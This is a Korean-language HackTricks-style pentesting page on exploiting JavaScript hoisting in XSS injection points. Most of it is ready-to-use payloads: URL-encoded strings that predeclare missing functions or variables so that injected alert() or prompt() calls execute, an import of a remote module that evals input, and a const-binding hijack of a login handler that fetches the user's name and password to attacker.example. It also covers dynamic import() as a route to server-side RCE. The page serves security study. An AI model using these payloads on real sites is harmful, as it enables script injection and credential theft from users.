JS Hoisting

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

JavaScript ์–ธ์–ด์—๋Š” ์„ ์–ธ๋œ ๋ณ€์ˆ˜, ํ•จ์ˆ˜, ํด๋ž˜์Šค ๋˜๋Š” import๊ฐ€ ์ฝ”๋“œ ์‹คํ–‰ ์ „์— ๊ฐœ๋…์ ์œผ๋กœ ์Šค์ฝ”ํ”„์˜ ๋งจ ์œ„๋กœ ๋Œ์–ด์˜ฌ๋ ค์ง€๋Š” Hoisting์ด๋ผ๋Š” ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ JavaScript ์—”์ง„์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์—ฌ๋Ÿฌ ๋ฒˆ ํ›‘์–ด๊ฐ€๋ฉฐ ์ž๋™์œผ๋กœ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์ฒซ ๋ฒˆ์งธ ํŒจ์Šค์—์„œ๋Š” ์—”์ง„์ด ๊ตฌ๋ฌธ ์˜ค๋ฅ˜๋ฅผ ๊ฒ€์‚ฌํ•˜๊ณ  ์ฝ”๋“œ๋ฅผ ์ถ”์ƒ ๊ตฌ๋ฌธ ํŠธ๋ฆฌ๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ์œ„ํ•ด ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‹จ๊ณ„์—๋Š” ํŠน์ • ์„ ์–ธ๋“ค์„ ์‹คํ–‰ ์ปจํ…์ŠคํŠธ์˜ ๋งจ ์œ„๋กœ ์ด๋™์‹œํ‚ค๋Š” hoisting์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ํŒŒ์‹ฑ ๋‹จ๊ณ„๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์™„๋ฃŒ๋˜์–ด ๊ตฌ๋ฌธ ์˜ค๋ฅ˜๊ฐ€ ์—†์œผ๋ฉด ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ์ ์„ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

  1. ์Šคํฌ๋ฆฝํŠธ๋Š” ์‹คํ–‰๋˜๊ธฐ ์œ„ํ•ด ๊ตฌ๋ฌธ ์˜ค๋ฅ˜๊ฐ€ ์—†์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ๋ฌธ ๊ทœ์น™์„ ์—„๊ฒฉํžˆ ์ค€์ˆ˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  2. ์Šคํฌ๋ฆฝํŠธ ๋‚ด ์ฝ”๋“œ์˜ ๋ฐฐ์น˜๊ฐ€ hoisting ๋•Œ๋ฌธ์— ์‹คํ–‰์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋ฉฐ, ์‹ค์ œ๋กœ ์‹คํ–‰๋˜๋Š” ์ฝ”๋“œ๋Š” ํ…์ŠคํŠธ์ƒ์˜ ํ‘œํ˜„๊ณผ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Hoisting์˜ ์ข…๋ฅ˜

MDN์˜ ์ •๋ณด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ JavaScript์—๋Š” ๋„ค ๊ฐ€์ง€ ๊ตฌ๋ณ„๋˜๋Š” hoisting ์œ ํ˜•์ด ์žˆ์Šต๋‹ˆ๋‹ค.

  1. Value Hoisting: ์„ ์–ธ๋ฌธ ์ด์ „์—๋„ ์Šค์ฝ”ํ”„ ๋‚ด์—์„œ ๋ณ€์ˆ˜์˜ ๊ฐ’์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  2. Declaration Hoisting: ์„ ์–ธ ์ด์ „์— ์Šค์ฝ”ํ”„ ๋‚ด์—์„œ ๋ณ€์ˆ˜๋ฅผ ์ฐธ์กฐํ•ด๋„ ReferenceError๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค์ง€ ์•Š์ง€๋งŒ ๋ณ€์ˆ˜์˜ ๊ฐ’์€ undefined๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.
  3. ์ด ์œ ํ˜•์€ ์„ ์–ธ๋ฌธ์ด ์‹ค์ œ ์„ ์–ธ ๋ผ์ธ๋ณด๋‹ค ์•ž์„œ์„œ ์Šค์ฝ”ํ”„ ๋‚ด ๋™์ž‘์„ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.
  4. ์„ ์–ธ์˜ ๋ถ€์ž‘์šฉ์ด ํ•ด๋‹น ์„ ์–ธ์„ ํฌํ•จํ•˜๋Š” ๋‚˜๋จธ์ง€ ์ฝ”๋“œ๊ฐ€ ํ‰๊ฐ€๋˜๊ธฐ ์ „์— ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ž์„ธํžˆ ๋ณด๋ฉด, ํ•จ์ˆ˜ ์„ ์–ธ์€ type 1 hoisting ๋™์ž‘์„ ๋ณด์ž…๋‹ˆ๋‹ค. var ํ‚ค์›Œ๋“œ๋Š” type 2 ๋™์ž‘์„ ๋ณด์ž…๋‹ˆ๋‹ค. let, const, class๋ฅผ ํฌํ•จํ•˜๋Š” ๋ ‰์‹œ์ปฌ ์„ ์–ธ์€ type 3 ๋™์ž‘์„ ๋ณด์ž…๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰์œผ๋กœ import ๋ฌธ์€ type 1๊ณผ type 4 ๋™์ž‘์„ ๋ชจ๋‘ ๊ฐ€์ง€๋Š” ๋…ํŠนํ•œ ํŠน์„ฑ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค.

์‹œ๋‚˜๋ฆฌ์˜ค

๋”ฐ๋ผ์„œ ์„ ์–ธ๋˜์ง€ ์•Š์€ ๊ฐ์ฒด๊ฐ€ ์‚ฌ์šฉ๋œ ๋’ค์— Inject JS code after an undeclared objectํ•  ์ˆ˜ ์žˆ๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค๊ฐ€ ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ๊ฐ์ฒด๋ฅผ ์„ ์–ธํ•ด์„œ fix the syntaxํ•  ์ˆ˜ ์žˆ๊ณ (๊ทธ๋ ‡๊ฒŒ ํ•˜๋ฉด ์—๋Ÿฌ๋ฅผ ๋˜์ง€๋Š” ๋Œ€์‹  ๋‹น์‹ ์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesnยดt exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

์ถ”๊ฐ€ ์‹œ๋‚˜๋ฆฌ์˜ค

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting to bypass exception handling

sink๊ฐ€ try { x.y(...) } catch { ... }๋กœ ๊ฐ์‹ธ์ ธ ์žˆ์œผ๋ฉด, ReferenceError ๋•Œ๋ฌธ์— payload๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์ „์— ์‹คํ–‰์ด ์ค‘๋‹จ๋ฉ๋‹ˆ๋‹ค. ํ˜ธ์ถœ์ด ์‚ด์•„๋‚จ๋„๋ก ๋ˆ„๋ฝ๋œ ์‹๋ณ„์ž๋ฅผ ๋ฏธ๋ฆฌ ์„ ์–ธํ•˜๋ฉด ์ฃผ์ž…ํ•œ ํ‘œํ˜„์‹์ด ๋จผ์ € ์‹คํ–‰๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) โ€“ hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){}๋Š” ํ‰๊ฐ€ ์ „์— ํ˜ธ์ด์ŠคํŒ…๋˜๋ฏ€๋กœ ํŒŒ์„œ๊ฐ€ ๋” ์ด์ƒ x.y(...)์—์„œ ์˜ˆ์™ธ๋ฅผ ๋˜์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. prompt()๋Š” y๊ฐ€ ํ•ด๊ฒฐ๋˜๊ธฐ ์ „์— ์‹คํ–‰๋˜๊ณ , ๊ทธ ํ›„์— ๋‹น์‹ ์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋œ ๋‹ค์Œ TypeError๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

๋‚˜์ค‘ ์„ ์–ธ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด const๋กœ ์ด๋ฆ„์„ ๊ณ ์ •ํ•˜๊ธฐ

์ตœ์ƒ์œ„์˜ function foo(){...}๊ฐ€ ํŒŒ์‹ฑ๋˜๊ธฐ ์ „์— ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋™์ผํ•œ ์ด๋ฆ„์œผ๋กœ ๋ ‰์‹œ์ปฌ ๋ฐ”์ธ๋”ฉ(์˜ˆ: const foo = ...)์„ ์„ ์–ธํ•˜๋ฉด ๋‚˜์ค‘์˜ ํ•จ์ˆ˜ ์„ ์–ธ์ด ๊ทธ ์‹๋ณ„์ž๋ฅผ ์žฌ๋ฐ”์ธ๋”ฉํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” RXSS์—์„œ ํŽ˜์ด์ง€ ํ›„๋ฐ˜์— ์ •์˜๋œ ์ค‘์š”ํ•œ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํƒˆ์ทจํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

๋…ธํŠธ

  • ์ด๊ฒƒ์€ ์‹คํ–‰ ์ˆœ์„œ์™€ ์ „์—ญ(์ตœ์ƒ์œ„) ์Šค์ฝ”ํ”„์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค.
  • ํŽ˜์ด๋กœ๋“œ๊ฐ€ eval() ๋‚ด๋ถ€์—์„œ ์‹คํ–‰๋œ๋‹ค๋ฉด, eval ๋‚ด๋ถ€์˜ const/let์€ ๋ธ”๋ก ์Šค์ฝ”ํ”„์ด๋ฏ€๋กœ ์ „์—ญ ๋ฐ”์ธ๋”ฉ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. ์ง„์ •ํ•œ ์ „์—ญ const๋ฅผ ์„ค์ •ํ•˜๋ ค๋ฉด ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•œ ์ƒˆ๋กœ์šด <script> ์š”์†Œ๋ฅผ ์ฃผ์ž…ํ•˜์„ธ์š”.

์‚ฌ์šฉ์ž ์ œ์–ด ์ŠคํŽ™ ์ง€์ •์ž์™€ ๋™์  import()

์„œ๋ฒ„ ์‚ฌ์ด๋“œ ๋ Œ๋”๋ง๋œ ์•ฑ์€ ๋•Œ๋•Œ๋กœ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ import()๋กœ ์ „๋‹ฌํ•ด ์ปดํฌ๋„ŒํŠธ๋ฅผ ์ง€์—ฐ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. import-in-the-middle ๊ฐ™์€ ๋กœ๋”๊ฐ€ ์žˆ์œผ๋ฉด, ์ŠคํŽ™ ์ง€์ •์ž๋กœ๋ถ€ํ„ฐ ๋ž˜ํผ ๋ชจ๋“ˆ์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ํ˜ธ์ด์ŠคํŒ…๋œ import ํ‰๊ฐ€๋Š” ์ดํ›„ ๋ผ์ธ๋ณด๋‹ค ๋จผ์ € ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ชจ๋“ˆ์„ ๊ฐ€์ ธ์™€ ์‹คํ–‰ํ•˜๋ฏ€๋กœ SSR ์ปจํ…์ŠคํŠธ์—์„œ RCE๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค (CVE-2023-38704 ์ฐธ์กฐ).

๋„๊ตฌ

์ตœ์‹  ์Šค์บ๋„ˆ๋“ค์€ ๋ช…์‹œ์ ์ธ ํ˜ธ์ด์ŠคํŒ… ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ธฐ ์‹œ์ž‘ํ–ˆ์Šต๋‹ˆ๋‹ค. KNOXSS v3.6.5๋Š” โ€œJS Injection with Single Quotes Fixing ReferenceError - Object Hoistingโ€ ๋ฐ โ€œHoisting Overrideโ€ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค๋ฅผ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค; ์ด๋ฅผ ReferenceError/TypeError๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” RXSS ์ปจํ…์ŠคํŠธ์— ์‹คํ–‰ํ•˜๋ฉด ํ˜ธ์ด์ŠคํŒ… ๊ธฐ๋ฐ˜ ๊ฐ€์ ฏ ํ›„๋ณด๋ฅผ ๋น ๋ฅด๊ฒŒ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ